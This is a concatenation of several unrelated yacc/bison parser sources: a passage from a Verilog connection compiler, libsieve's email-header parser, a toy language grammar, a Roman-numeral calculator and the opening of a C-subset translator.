//tfs.v_funcSymbols.at(pos).addInstance()
}
;
/* Call args */
CallArgs : DCallArgs {$$.trad = "";}
| /*epsilon*/ { }
;
DCallArgs : Expr DCallArgsExtension{
string pme = $2.trad;
$$.trad = "";
int pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
if (pme == ""){
// made by position
$$.ph = "position";
// if access a position is the 0 position
//cout << "Entro Position" << endl;
int pos_instance = tfs.v_funcSymbols.at(pos).searchInstance(s2, nlin, ncol);
tfs.v_funcSymbols.at(pos).v_instances.at(pos_instance).addValueFunctionSymbolParamPos(0, $1.trad);
}else{
// asigned by name
//cout << "Entro Name" << endl;
$$.ph = "name";
int pos_instance = tfs.v_funcSymbols.at(pos).searchInstance(s2, nlin, ncol);
tfs.v_funcSymbols.at(pos).v_instances.at(pos_instance).addValueFunctionSymbolParam($1.trad, $2.trad, nlin, ncol);
}
$$.counter = 1;
}
| DCallArgs coma Expr DCallArgsExtension {
int pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
$$.trad = "";
// transition beetween continous by position
if ($1.ph == "position" && $4.trad == ""){
$$.ph = "position";
}
// transition beetween position and name
else if ($1.ph == "position" && $4.trad != ""){
$$.ph = "name";
}
// transition beetween continous by position
else if ($1.ph == "name" && $4.trad != ""){
$$.ph = "name";
}
else{
// TODO ERROR positional argument in a name position
msgError(ERRINSNOTFOUND, nlin, ncol - $3.trad.length(), $3.trad.c_str());
}
// process arguments
if($$.ph == "position"){
int pos_instance = tfs.v_funcSymbols.at(pos).searchInstance(s2, nlin, ncol);
tfs.v_funcSymbols.at(pos).v_instances.at(pos_instance).addValueFunctionSymbolParamPos($$.counter, $3.trad);
}
else{
// procces by name
int pos_instance = tfs.v_funcSymbols.at(pos).searchInstance(s2, nlin, ncol);
tfs.v_funcSymbols.at(pos).v_instances.at(pos_instance).addValueFunctionSymbolParam($4.trad, $3.trad, nlin, ncol);
}
$$.counter = + $1.counter + 1;
}
;
DCallArgsExtension : opasig Expr {$$.trad = $2.trad;}
| /*epsilon*/ { $$.trad = "";}
;
CallConnectors : DCallArgsConn {$$.trad = $1.trad;}
| /*epsilon*/ { }
;
DCallArgsConn : TipoBase id opasig DcallArgsAux
{
// TODO ERROR CHECKING THAT ID EXISTS AND TYPES ARE VALID
int pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
int pos_instance = tfs.v_funcSymbols.at(pos).searchInstance(s2, nlin, ncol);
string pme_name = $2.lexeme;
string pme_value = $4.trad;
if ($4.ph == "io"){
int pos_inout = tfs.v_funcSymbols.at(pos).searchinoutSymbol(pme_value, nlin, ncol);
string name_verilog = tfs.v_funcSymbols.at(pos).getInoutSymbol().at(pos_inout).getNameVerilog();
tfs.v_funcSymbols.at(pos).v_instances.at(pos_instance).addValueInoutSymbolParam(pme_name, name_verilog, $1.size, nlin,ncol);
}
else if ($4.ph == "w"){
string aux = "_w";
tfs.v_funcSymbols.at(pos).v_instances.at(pos_instance).addValueInoutSymbolParam(pme_name, pme_value+aux, $1.size, nlin,ncol);
}
}
| DCallArgsConn coma TipoBase id opasig DcallArgsAux
{
int pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
int pos_instance = tfs.v_funcSymbols.at(pos).searchInstance(s2, nlin, ncol);
string pme_name = $4.lexeme;
string pme_value = $6.trad;
if ($6.ph == "io"){
int pos_inout = tfs.v_funcSymbols.at(pos).searchinoutSymbol(pme_value, nlin, ncol);
string name_verilog = tfs.v_funcSymbols.at(pos).getInoutSymbol().at(pos_inout).getNameVerilog();
tfs.v_funcSymbols.at(pos).v_instances.at(pos_instance).addValueInoutSymbolParam(pme_name, name_verilog, $3.size, nlin,ncol);
}
else if ($6.ph == "w"){
string aux = "_w";
tfs.v_funcSymbols.at(pos).v_instances.at(pos_instance).addValueInoutSymbolParam(pme_name, pme_value+aux, $3.size, nlin,ncol);
}
}
;
DcallArgsAux : TipoBase id
{
string pme = $2.lexeme;
$$.trad = pme;
$$.ph = "io";
}
| id
{
string pme = $1.lexeme;
string aux = "_w";
$$.ph = "w";
$$.trad = pme;
// check that the wire exists
ts.shearchSymbol(pme+aux,s1,nlin,ncol);
}
;
/* Expresion */
Arrayargs : bral Expr {
if($2.type!=INTEGER){
msgError(ERRTYPEARGS, nlin, ncol, $2.trad.c_str());
}
}
twopoints Expr {
if($5.type!=INTEGER){
msgError(ERRTYPEARGS, nlin, ncol, $5.trad.c_str());
}
}
brar {
string expr_1 = "";
string expr_2 = "";
if ($2.ph == to_string(DEFINITIONVERILOG)){
expr_1 = "`" + $2.trad;
}
else{
expr_1 = $2.trad;
}
if($5.ph == to_string(DEFINITIONVERILOG)){
expr_2 = "`" + $5.trad;
}
else{
expr_2 = $5.trad;
}
$$.trad = "[" + expr_1 + " : " + expr_2 + "]";
}
| /*epsilon*/ {$$.trad = "";}
;
Expr : Econj {
$$.trad = $1.trad;
$$.type = $1.type;
$$.size = $1.size;
$$.ph = $1.ph;
}
| Expr {
if($1.type!=LOGIC){
msgError(ERRTYPEBOOL, nlin, ncol, $1.trad.c_str());
}
}obool Econj {
if($4.type!=LOGIC){
msgError(ERRTYPEBOOL, nlin, ncol, $4.trad.c_str());
}
$$.trad = $1.trad +" "+ $3.lexeme +" "+ $4.trad;
$$.type = LOGIC;
$$.size = LOGIC;
$$.ph = $1.ph;
}
;
Econj : Ecomp {
$$.trad = $1.trad;
$$.type = $1.type;
$$.size = $1.size;
$$.ph = $1.ph;
}
| Econj {
if($1.type!=LOGIC){
msgError(ERRTYPEBOOL, nlin, ncol, $1.trad.c_str());
}
}ybool Ecomp {
if($4.type!=LOGIC){
msgError(ERRTYPEBOOL, nlin, ncol, $4.trad.c_str());
}
$$.trad = $1.trad +" "+ $3.lexeme +" "+ $4.trad;
$$.type = LOGIC;
$$.size = LOGIC;
$$.ph = $1.ph;
}
;
Ecomp : Esimple {
$$.trad = $1.trad;
$$.type = $1.type;
$$.size = $1.size;
$$.ph = $1.ph;
}
| Esimple oprel Esimple {
if($1.type!=$3.type){//TODO:what happen here with the strings
string pme_1 = $1.lexeme;
string pme_3 = $3.lexeme;
string text = pme_1+ " type is " + to_string($1.type) + ". Does not match type of " + pme_3;
msgError(ERRTYPEMISMATCH, nlin, ncol,text.c_str());
}
$$.trad = $1.trad + " " + $2.lexeme + " " + $3.trad;
$$.type = $1.type;
if ($1.size == INTEGER || $3.size == INTEGER){
$$.size = INTEGER;
}else{
$$.size = REFERENCE;
}
$$.ph = $1.ph;
}
;
Esimple :Term {
$$.trad = $1.trad;
$$.type = $1.type;
$$.size = $1.size;
$$.ph = $1.ph;
}
| Esimple {
if($1.type!=INTEGER){
msgError(ERRTYPEINTEGER, nlin, ncol, $1.trad.c_str());
}
}
opas Term {
if($4.type!=INTEGER){
msgError(ERRTYPEINTEGER, nlin, ncol, $4.trad.c_str());
}
$$.trad = $1.trad +" "+ $3.lexeme +" "+ $4.trad;
if ($1.size == INTEGER || $4.size == INTEGER){
$$.size = INTEGER;
}else{
$$.size = REFERENCE;
}
}
;
Term : Factor {$$.trad = $1.trad;
$$.type = $1.type;
$$.size = $1.size;
$$.ph = $1.ph;}
| Term{
if($1.type!=INTEGER){
msgError(ERRTYPEINTEGER, nlin, ncol, $1.trad.c_str());
}
} opmd Factor {
if($4.type!=INTEGER){
msgError(ERRTYPEINTEGER, nlin, ncol, $4.trad.c_str());
}
$$.trad = $1.trad + $3.lexeme + $4.trad;
$$.type = INTEGER;
if ($1.size == INTEGER || $4.size == INTEGER){
$$.size = INTEGER;
}else{
$$.size = REFERENCE;
}
$$.ph = $1.ph;
}
;
Factor : Ref {
int pos = ts.shearchSymbol($1.trad, s1, nlin,ncol);
int type = ts.v_symbols.at(pos).getType();
int type_v = ts.v_symbols.at(pos).getTypeVar();
switch(type){
case(DEFINITION)://DEFINITION=1
$$.trad = ts.v_symbols.at(pos).getValue_S();
break;
case(DEFINITIONVERILOG)://DEFINITIONVERILOG=2
$$.trad = ts.v_symbols.at(pos).getName();
break;
case(PARAMETERFUNCTION)://PARAMETERFUNCTION=5
$$.trad = ts.v_symbols.at(pos).getName();
break;
case(INSTANCESYMBOL)://INSTANCESYMBOL=7
$$.trad = ts.v_symbols.at(pos).getName();
break;
default: //VARIABE=3 FUNCTION=4 or someting else
msgError(ERRNEEDDEF, nlin, ncol, $1.trad.c_str());
break;
}
$$.type=type_v;
$$.ph = to_string(type);
$$.size = REFERENCE;
}
| ninteger {
string pme = $1.lexeme;
$$.type=INTEGER;
$$.trad=pme;
$$.size = INTEGER;
}
| parl Expr parr { $$.trad="(" + $2.trad + ")";}
| nobool Factor {
if($2.type!=5){
msgError(ERRFUNODEC, nlin, ncol, $2.trad.c_str());
}
$$.trad = "!" + $2.trad;
$$.type = $2.type;
}
| booltokentrue {
$$.type=LOGIC;
$$.trad="false";
}
| booltokenfalse {
$$.type=LOGIC;
$$.trad="true";
}
;
Ref : id {string pme = $1.lexeme; $$.trad = pme;}
;
/* Tipos */
TipoBase : intype {$$.trad = "i"; $$.size = IN;}
| outtype {$$.trad = "o";$$.size = OUT;}
| inouttype {$$.trad = "io";$$.size = INOUT;}
;
S : SSuperblock SAFunc {$$.trad = $1.trad + $2.trad;
tfs.createFiles(projectFolder);
ts.printToFile(projectFolder);
if(tb && !itb){
int pos = tfs.searchFunctionSymbol(name_function_main, nlin, ncol);
tfs.v_funcSymbols.at(pos).createRunTest(ts.getVerilogDefig(),true,qtb,vtb,avb);
}
else if(tb && itb){
int pos = tfs.searchFunctionSymbol(name_function_main, nlin, ncol);
tfs.v_funcSymbols.at(pos).createRunTest(ts.getVerilogDefig(),true,qtb,vtb,avb);
for (int i = 0; i <tfs.v_funcSymbols.size();++i) {
if (i != pos ){
tfs.v_funcSymbols.at(i).createRunTest(ts.getVerilogDefig(),false,qtb,vtb,avb);
}
}
}
if(kcreation){
// create files for kicat
tfs.createFilesKicat(projectFolder);
}
}
;
%%
void msgError(int nerror,int nlin,int ncol,const char *s)
{
if (nerror != ERREOF)
{
fprintf(stderr,"Error %d (%d:%d) ",nerror,nlin,ncol);
switch (nerror) {
case ERRLEXIC: fprintf(stderr,"character '%s' not correct\n",s);
break;
case ERRSINT: fprintf(stderr,"in '%s'\n",s);
break;
/* GENERAL ERRORS */
case ERRNODEC: fprintf(stderr, "Variable %s not declared\n",s);
break;
case ERRALDEC: fprintf(stderr, "Variable %s already declared\n",s);
break;
case ERRFUNODEC: fprintf(stderr, "Module %s not declared\n",s);
break;
case ERRFUNALDEC: fprintf(stderr, "Module %s already declared\n",s);
break;
case ERRNEEDBOOL: fprintf(stderr, "Bool required but %s founded\n",s);
break;
case ERRNEEDDEF: fprintf(stderr, "DEFINITION or DEFINITIONVERILOG needed but %s founded\n",s);
break;
case ERRORSIMALDEC: fprintf(stderr, "Simbol %s already defined\n",s);
break;
case ERRORSIMBNODEC: fprintf(stderr, "Simbol %s not defined\n",s);
break;
/* MODULE ERRORS */
case ERRCONNDEC: fprintf(stderr, "Connection %s already declared\n",s);
break;
case ERRCONNNODEC: fprintf(stderr, "Connection %s not declared\n",s);
break;
case ERRPARAMDEC: fprintf(stderr, "Param module %s already declared\n",s);
break;
case ERRPARAMNODEC: fprintf(stderr, "Param module %s not declared\n",s);
break;
/* MODULE DEFINTION ERRORS */
case ERRFUNCDEFALDEC: fprintf(stderr, "Function module definition %s already declared\n",s);
break;
case ERRDESCDEFALDEC: fprintf(stderr, "Description module definition %s already declared\n",s);
break;
case ERRORCODDEFALDEC: fprintf(stderr, "Coder module definition %s already declared\n",s);
break;
case ERRORDEFIALDEC: fprintf(stderr, "References module definition %s already declared\n",s);
break;
/* MODULE SIGNAL ERRORS */
case ERRTYPEARGS: fprintf(stderr, "%s ilegal type for port size\n",s);
break;
case ERRTYPEBOOL: fprintf(stderr, "%s ilegal type for bool operation\n",s);
break;
case ERRTYPEINTEGER: fprintf(stderr, "%s ilegal type for integer operation\n",s);
break;
case ERRTYPEMISMATCH: fprintf(stderr, "%s Logic comparation of different types\n",s);
break;
/* INSTANCE ERROR */
case ERRINSNOTFOUND: fprintf(stderr, "Instance %s not declared\n",s);
break;
/* ARGUMENTS ERROR */
case ERRARGUMENTPOSNONAME: fprintf(stderr, "positional argument %s in a name position argument\n",s);
break;
/* DEFAULT */
default: fprintf(stderr, "Undefined error in %s\n",s);
break;
}
}
else
fprintf(stderr,"Error in end of file\n");
exit(1);
}
int yyerror(char *s)
{
extern int endfile; // variable definida en plp5.l que indica si
// se ha acabado el fichero
if (endfile)
{
msgError(ERREOF,-1,-1,"");
}
else
{
msgError(ERRSINT,nlin,ncol-strlen(yytext),yytext);
}
}
string init_output(bool a){
string output;
if (a){
output = "////////////////////////////////////////////////////////////////////////////////\n"+
std::string("// \n")+
std::string("// -+ydNMMNdy+- \n")+
std::string("// -ohNmy+-.``.:omMmo. \n")+
std::string("// .:/++hNds:` +NMMy \n")+
std::string("// :mMMMMMNdh` -NMM+ \n")+
std::string("// .MMMMMMMd`Ns -MMy \n")+
std::string("// /MMMMMmo` mm/o :ymmmhs/. yMh \n")+
std::string("// .MMMMMmhhmMmy/ yMMMMMM+yNy sMy \n")+
std::string("// oMo`-:NMMs-o+` oMMMMMMM+`mM-dMs \n")+
std::string("// sMN/-.`+yyysys. yMMMmhy/ hs-MM/ \n")+
std::string("// `hMdhdmNNmdhs+/-. `+ydmmhyys/ hMN` \n")+
std::string("// yMd````..:/osyhhdddys+/:...` -MMo \n")+
std::string("// sMm. ```.-::/:. dMM: \n")+
std::string("// oMN- /MMh \n")+
std::string("// +MM/ `mMN- \n")+
std::string("// -NM+ -` yMM/ \n")+
std::string("// /MN oN/ /+ :MM+ \n")+
std::string("// /Mh `Nm`-MM` `mMo .+ysyy+. \n")+
std::string("// +Ms /M+ dMo sMd .omm:``/Mh \n")+
std::string("// +M+ dd +Mh` :MM- `+mNs. -Ms \n")+
std::string("// +M+ -M:-Nm` dMd ```.`` :dNy- -ms` \n")+
std::string("// +M+ yy.mN- NMhoyhhhddddho:` -yNy- `om+ \n")+
std::string("// /Ms .m.hN: NMy/:-oo:.-/sdNdsmy- `+mm: \n")+
std::string("// -Mm `h+`Mo :+` `+Ns--..-hms- `/dMy. \n")+
std::string("// NM- `:ys sy- -shddmmmNmmMo. :dMMo` \n")+
std::string("// oMh :s/- .s::N- .....--:/sdMNs. -ohds+-` \n")+
std::string("// `NM/ .+sN/hmyyy` `+. `:dMm: ```./My \n")+
std::string("// +MN/ :yo. . /y: `dMN. `+yyso. \n")+
std::string("// +NMs` -/ :MM/ :ds \n")+
std::string("// .sNmo. `my -MM/` +M- \n")+
std::string("// `` .dMmh+.` ++` `yMmdyyyyds \n")+
std::string("// dyo- `sNs-oNNdy+-.`` .:. .odd/``.--.` \n")+
std::string("// N-:hy.-dd:`:hy-/sdmmdhys+/.` ++ `/ymh: \n")+
std::string("// yy /hmo`-yh: `-:+oymMM+ :hyysso+o/oydd+. \n")+
std::string("// .m/ `.:yd/ .sys++mMo `mm-:/osyyyo:. \n")+
std::string("// -d/./hd/ :MMymNm/ yN- \n")+
std::string("// `oNd/` `mMo .` +N: \n")+
std::string("// ` -NM: /N+ \n")+
std::string("// .dNo.oN+ \n")+
std::string("// oNNh. \n")+
std::string("// \n")+
std::string("////////////////////////////////////////////////////////////////////////////////\n")+
std::string("// THE DICKBUT RTL CONNECTION COMPILER \n")+
std::string("// FOR NOT TO MAKE A DICKBUT RTL CONNECTIONS \n")+
std::string("////////////////////////////////////////////////////////////////////////////////\n");
}
else{
output ="";
}
return output;
}
void print_usage(void)
{
printf("Use: skeletor <filename>\n");
printf("-h, --help, help Print this message\n");
printf("-V --version Print Version and exits\n");
printf("-d Output directory name\n");
printf("-n Set project name\n");
printf("-k Create kicat schematic (EXPERIMENTAL)\n");
printf("-t -q Make top test bench for questasim \n");
printf("-t -v Make top test bench for verilator\n");
printf("-t -v -a Make top test bench for verilator with asserts\n");
printf("-t -q -i Make top and individual test benches for questasim \n");
printf("-t -v -i Make top and individual test benches for verilator\n");
printf("-t -v -i -a Make top and individual test benches for verilator with asserts\n");
}
int arguments_handler(int argc, char ** argv){
string str1 ;
for(unsigned int args = 2; args < argc; ++args)
{
switch (argv[args][1]) {
//directory name
case 'd':
str1.clear();
str1.append(argv[args+1]);
args++;
projectFolder.clear();
projectFolder.append(str1);
break;
//project name
case 'n' :
str1.clear();
str1.append(argv[args+1]);
args++;
projectName.clear();
projectName.append(str1);
break;
//Ivan need this
case 'Y' :
db = true;
break;
case 't' :
tb = true;
break;
case 'i' :
itb = true;
break;
case 'v' :
vtb = true;
break;
case 'q' :
qtb = true;
break;
case 'a' :
avb = true;
break;
case 'k' :
kcreation = true;
break;
//default
default:
printf("argc %d \n", argc);
printf("argv %c \n", argv[args][1]);
printf("WRONG_ARGUMENTS\n");
print_usage();
return 1;
}
}
return 0;
}
int main(int argc,char *argv[])
{
FILE *fent;
//Check if Help flag
for(int i=0; i<argc; ++i){
if(!strcmp(argv[i],"-h") || !strcmp(argv[i],"--help")){
print_usage();
return(CORRECT_EXECUTION);
}
}
//Check if Verion flag
for(int i=0; i<argc; ++i){
if(!strcmp(argv[i],"-V") || !strcmp(argv[i],"--version")){
printf("Skeletor version: %s", VERSION);
return(CORRECT_EXECUTION);
}
}
//check if arguments are valid
if (arguments_handler(argc,argv)) {
printf("WRONG_ARGUMENTS\n");
return(WRONG_ARGUMENTS);
}
if (argc>=2)
{
fent = fopen(argv[1],"rt");
if (fent)
{
yyin = fent;
yyparse();
fclose(fent);
}
else{
fprintf(stderr,"File can not open\n");
print_usage();
}
}
else{
fprintf(stderr,"Use: example <filename>\n");
return(WRONG_ARGUMENTS);
}
}
|
<filename>src/sv_parser/header.y<gh_stars>1-10
%{
/* header.y -- RFC 2/822 Header Parser
* <NAME>
* $Id$
*/
/* * * *
* Copyright 2005 by <NAME>
*
* Licensed under the GNU Lesser General Public License (LGPL)
* version 2.1, and other versions at the author's discretion.
* * * */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* Better yacc error messages please */
#define YYERROR_VERBOSE
/* Must be defined before header.h */
#define YYSTYPE char *
/* sv_util */
#include "src/sv_util/util.h"
#include "src/sv_interface/callbacks2.h"
/* sv_parser */
#include "header.h"
#include "headerinc.h"
#include "header-lex.h"
extern YY_DECL;
/* sv_include */
#include "src/sv_include/sieve2_error.h"
#define THIS_MODULE "sv_parser"
static void libsieve_headerentry(struct sieve2_context *context, char *name, char *body);
static int libsieve_headerappend(struct sieve2_context *context);
static void libsieve_headererror(struct sieve2_context *context, void *yyscanner, const char *str);
%}
%defines
%name-prefix="libsieve_header"
%define api.pure
%lex-param {struct sieve2_context *context}
%lex-param {void *header_scan}
%parse-param {struct sieve2_context *context}
%parse-param {void *header_scan}
%token NAME COLON TEXT WRAP
%start headers
%%
headers: header {
/* Allocate a new cache block */
if (libsieve_headerappend(context) != SIEVE2_OK)
/* Problems... */;
}
| headers header {
/* Allocate a new cache block */
if (libsieve_headerappend(context) != SIEVE2_OK)
/* Problems... */;
};
header: NAME COLON body {
TRACE_DEBUG( "header: NAME COLON body: %s:%s", $1, $3 );
libsieve_headerentry(context, $1, $3);
};
body: /* empty */ | TEXT {
/* Default action is $$ = $1 */
TRACE_DEBUG( "body: TEXT: %s", $1 );
}
| body WRAP {
TRACE_DEBUG( "body: body WRAP: %s %s", $1, $2 );
$$ = libsieve_strbuf(context->strbuf, libsieve_strconcat( $1, $2, NULL ), strlen($1)+strlen($2), FREEME);
};
%%
/* copy header error message into buffer provided by sieve parser */
void libsieve_headererror(struct sieve2_context *context, yyscan_t yyscanner, const char *s)
{
TRACE_DEBUG( "Header parse error on line %d: %s",
libsieve_headerget_lineno(yyscanner), s);
libsieve_do_error_header(context, libsieve_headerget_lineno(yyscanner), s);
}
/* Wrapper for headerparse() which sets up the
* required environment and allocates variables
* */
header_list_t *libsieve_header_parse_buffer(struct sieve2_context *context, char **ptr)
{
header_list_t *newdata;
yyscan_t header_scan = context->header_scan;
context->header_hl = NULL;
if (libsieve_headerappend(context) != SIEVE2_OK)
/* Problems... */;
YY_BUFFER_STATE buf = libsieve_header_scan_string(*ptr, header_scan);
libsieve_headerset_lineno(1, header_scan);
if(libsieve_headerparse(context, header_scan)) {
TRACE_DEBUG( "Header parse error, returning null" );
while (context->header_hl) {
header_list_t *next = context->header_hl->next;
libsieve_free(context->header_hl->h->contents);
libsieve_free(context->header_hl->h);
libsieve_free(context->header_hl);
context->header_hl = next;
}
libsieve_header_delete_buffer(buf, header_scan);
context->header_hl = NULL;
return NULL;
}
/* Same thing with that extra struct... */
newdata = context->header_hl->next;
libsieve_header_delete_buffer(buf, header_scan);
libsieve_free(context->header_hl->h->contents);
libsieve_free(context->header_hl->h);
libsieve_free(context->header_hl);
context->header_hl = newdata;
return newdata;
}
int libsieve_headerappend(struct sieve2_context *context)
{
header_list_t *newlist = NULL;
header_t *newhead = NULL;
char **c = NULL;
newlist = (header_list_t *)libsieve_malloc(sizeof(header_list_t));
if (newlist == NULL)
return SIEVE2_ERROR_NOMEM;
newhead = (header_t *)libsieve_malloc(sizeof(header_t));
if (newhead == NULL) {
libsieve_free(newlist);
return SIEVE2_ERROR_NOMEM;
}
c = (char **)libsieve_malloc(2 * sizeof(char *));
if (c == NULL) {
libsieve_free(newlist);
libsieve_free(newhead);
return SIEVE2_ERROR_NOMEM;
}
TRACE_DEBUG( "Prepending a new headerlist and header struct" );
newhead->count = 0;
newhead->space = 1;
newhead->contents = c;
newhead->contents[0] = NULL;
newhead->contents[1] = NULL;
newlist->h = newhead;
newlist->next = context->header_hl;
context->header_hl = newlist;
return SIEVE2_OK;
}
void libsieve_headerentry(struct sieve2_context *context, char *name, char *body)
{
header_t *h = context->header_hl->h;
TRACE_DEBUG( "Entering name and body into header struct" );
if (h == NULL)
TRACE_DEBUG( "Why are you giving me a NULL struct!?" );
/* Hmm, big big trouble here... */;
size_t namelen = strlen(name);
// h->name = libsieve_strtolower(libsieve_strndup(name, namelen), namelen);
h->name = libsieve_strtolower(name, namelen);
h->contents[0] = body;
h->count = 1;
/* This function is NOT designed for general purpose
* entries, but only for making the very first entry!
* */
}
|
%{
#include <stdio.h>
extern int yylex();
void yyerror(const char *s) { fprintf(stderr, "parser error: %s\n", s); }
%}
%union
{
char *string;
int token;
}
%token <string> LITERAL_INTEGER IDENTIFIER TYPE_NAME
%token <token> KEYWORD_RETURN KEYWORD_MAIN KEYWORD_PRINT
%token <token> DELIMITER_LBRACE DELIMITER_RBRACE DELIMITER_COMMA DELIMITER_LPAREN DELIMITER_RPAREN
%token <token> OPERATOR_PLUS OPERATOR_MINUS OPERATOR_TIMES OPERATOR_DIVIDE OPERATOR_ASSIGN
%left OPERATOR_PLUS OPERATOR_MINUS
%left OPERATOR_TIMES OPERATOR_DIVIDE
%start program
%%
program: /* empty */
| funcs;
funcs: func funcs;
func: TYPE ID DELIM args DELIM DELIM NL statements
| TYPE KW DELIM args DELIM DELIM NL statements;
args: arg DELIM args;
arg: TYPE ID;
statements: statement NL statements;
statement: declaration
| assignment
| return;
declaration: TYPE ID;
assignment: ID OP expression;
return: KW ID;
expression: INTEGER OP INTEGER
{
printf("expression! %s %s %s\n", $1, $2, $3);
}
| INTEGER OP ID
| ID OP ID
| ID OP INTEGER
| ID
| INTEGER;
%%
|
<gh_stars>1-10
%{
#include <stdio.h>
#include <stdlib.h>
int yylex ();
void yyerror(char *s);
void intToRoman(int number);
int digit(char ch, int n, int i, char *c);
int sub_digit(char num1, char num2, int i, char *c);
int error=0;
int p=0; //prev
int errorCount = 0;
%}
%output "romcalc.tab.c"
/* declare tokens */
%token I IV V IX X XL L XC C CD D CM M
%token ADD SUB MUL DIV OPEN CLOSE EOL
%start start1
%%
start1:
| start1 expr EOL{ if(!error){ intToRoman($2); p=0; }}
;
expr: factor
| expr ADD factor { $$ = $1 + $3; }
| expr SUB factor { $$ = $1 - $3; }
;
factor: term
| factor MUL term { $$ = $1 * $3; }
| factor DIV term { $$ = $1 / $3; }
;
term: no
| term no { int a=$1; p=0; int b =$2; $$ = a + b; }
| OPEN expr CLOSE { $$ = $2; }
;
no:
| I { $$ = 1; p=1;}
| IV { if(p==1){error=1;}
else{$$ = 4; p=4; } }
| V { if(p==4||p==5){error=1;}
else{$$ = 5; p=5; } }
| IX { if(p==5){error=1;}
else{$$ = 9; p=9; } }
| X { if(p==9){error=1; }
else{$$ = 10; p=10; } }
| XL { if(p==10){error=1; }
else{$$ = 40; p=40; } }
| L { if(p==40){error=1; }
else{$$ = 50; p=50; } }
| XC { if(p==50){error=1; }
else{$$ = 90; p=90; } }
| C { if(p==90||p==900){error=1; }
else{$$ = 100; p=100; } }
| CD { if(p==100){error=1; }
else{$$ = 400; p=400; } }
| D { if(p==400){error=1; }
else{$$ = 500; p=500; } }
| CM { if(p==500){error=1; }
else{$$ = 900; p=900; } }
| M { if(p==900){error=1; }
else{$$ = 1000; p=1000; } }
;
%%
int main()
{
if (!error)
yyparse();
if (error)
yyerror("syntax error");
return 0;
}
void intToRoman(int number)
{
char c[10001];
int i = 0;
int nFlag =0;
if (number == 0)
{
printf("Z\n");
return;
}
if (number < 0)
{
nFlag=1;
number= abs(number);
}
while (number != 0)
{
if (number >= 1000)
{
i = digit('M', number/1000, i, c);
number = number%1000;
}
else if (number >= 500)
{
if (number < 900)
{
i = digit('D', number/500, i, c);
number = number%500;
}
else
{
i = sub_digit('C', 'M', i, c);
number = number%100 ;
}
}
else if (number >= 100)
{
if (number < 400)
{
i = digit('C', number/100, i, c);
number = number%100;
}
else
{
i = sub_digit('C','D',i,c);
number = number%100;
}
}
else if (number >= 50 )
{
if (number < 90)
{
i = digit('L', number/50,i,c);
number = number%50;
}
else
{
i = sub_digit('X','C',i,c);
number = number%10;
}
}
else if (number >= 10)
{
if (number < 40)
{
i = digit('X', number/10,i,c);
number = number%10;
}
else
{
i = sub_digit('X','L',i,c);
number = number%10;
}
}
else if (number >= 5)
{
if (number < 9)
{
i = digit('V', number/5,i,c);
number = number%5;
}
else
{
i = sub_digit('I','X',i,c);
number = 0;
}
}
else if (number >= 1)
{
if (number < 4)
{
i = digit('I', number,i,c);
number = 0;
}
else
{
i = sub_digit('I', 'V', i, c);
number = 0;
}
}
}
if(nFlag==1)
{
printf("-");
}
int j;
for (j = 0; j < i; j++)
printf("%c", c[j]);
printf("\n");
}
int sub_digit(char num1, char num2, int i, char *c)
{
c[i++] = num1;
c[i++] = num2;
return i;
}
int digit(char ch, int n, int i, char *c)
{
int j;
for ( j = 0; j < n; j++)
c[i++] = ch;
return i;
}
void yyerror(char *s)
{
if(errorCount == 0)
{
printf("%s\n", s);
error=1;
errorCount++;
}
}
|
%{
#include "ass5_18CS30042_18CS30010_translator.h"
#include <cstdlib>
#include<iostream>
#include <string>
#include <stdio.h>
#include <sstream>
extern int yylex();
void yyerror(string s);
extern string Type;
using namespace std;
%}
%union {
int interval_value;
char* character_value;
int instr;
sym* sym_pa;
symbol_type* symtp;
expr* E;
statement* S;
array_def* A;
char unaryOperator;
}
%token<sym_pa> IDENTIFIER
%token AUTO ENUM RESTRICT UNSIGNED BREAK EXTERN RETURN VOID CASE FLOAT
%token<character_value> STRING_LITERAL
%token SHORT VOLATILE CHAR FOR SIGNED WHILE CONST GOTO SIZEOF BOOL CONTINUE IF STATIC COMPLEX DEFAULT INLINE STRUCT IMAGINARY DO
%token INT SWITCH DOUBLE LONG TYPEDEF ELSE REGISTER UNION
%token<character_value> CHARACTER_CONSTANT ENUMERATION_CONSTANT
%token OPENSQUAREBRACKET CLOSESQUAREBRACKET OPENROUNDBRACKET CLOSEROUNDBRACKET OPENCURLYBRACKET CLOSECURLYBRACKET DOT ACC INC DEC AMP MUL ADD SUB NEG EXCLAIM DIV MODULO
%token SHL SHR BITSHL BITSHR LESS_THAN_EQUAL GREATER_THAN_EQUAL EQ NEQ BITXOR BITOR AND
%token<character_value> FLOATING_CONSTANT
%token OR QUESTION COLON SEMICOLON DOTS ASSIGN STAREQ DIVEQ
%token MODEQ PLUSEQ MINUSEQ SHLEQ SHREQ BINANDEQ BINXOREQ BINOREQ COMMA HASH
%token<interval_value> INTEGER_CONSTANT
%start translationUnit
%right THEN ELSE
//Expressions
%type <interval_value> argumentExpressionList
%type <unaryOperator> unaryOperator
%type <sym_pa> constant initializer
%type <sym_pa> directDeclarator initDeclarator declarator
%type <symtp> pointer
//Auxillary non terminals M and N
%type <instr> M
%type <S> N
//Array to be used later
%type <A> postfixExpression
unaryExpression
castExpression
//Statements
%type <S> statement
labeledStatement
selectionStatement
iterationStatement
jumpStatement
compoundStatement
blockItem
blockItemList
%type <E>
expression
primaryExpression
exclusiveORexpression
inclusiveORexpression
logicalANDexpression
logicalORexpression
multiplicativeExpression
additiveExpression
shiftExpression
relationalExpression
equalityExpression
ANDexpression
conditionalExpression
assignmentExpression
expressionStatement
%%
constant
:INTEGER_CONSTANT {
stringstream STring;
STring << $1;
int zero = 0;
string TempString = STring.str();
char* Int_STring = (char*) TempString.c_str();
string str = string(Int_STring);
int one = 1;
$$ = gentemp(new symbol_type("INTEGER"), str);
emit("EQUAL", $$->name, $1);
}
|FLOATING_CONSTANT {
int zero = 0;
int one = 1;
$$ = gentemp(new symbol_type("DOUBLE"), string($1));
emit("EQUAL", $$->name, string($1));
}
|ENUMERATION_CONSTANT {
}
|CHARACTER_CONSTANT {
int zero = 0;
int one = 1;
$$ = gentemp(new symbol_type("CHAR"),$1);
emit("EQUAL", $$->name, string($1));
}
;
postfixExpression
:primaryExpression {
$$ = new array_def ();
$$->array_def = $1->loc;
int zero = 0;
int one = 1;
$$->loc = $$->array_def;
$$->type = $1->loc->type;
}
|postfixExpression OPENSQUAREBRACKET expression CLOSESQUAREBRACKET {
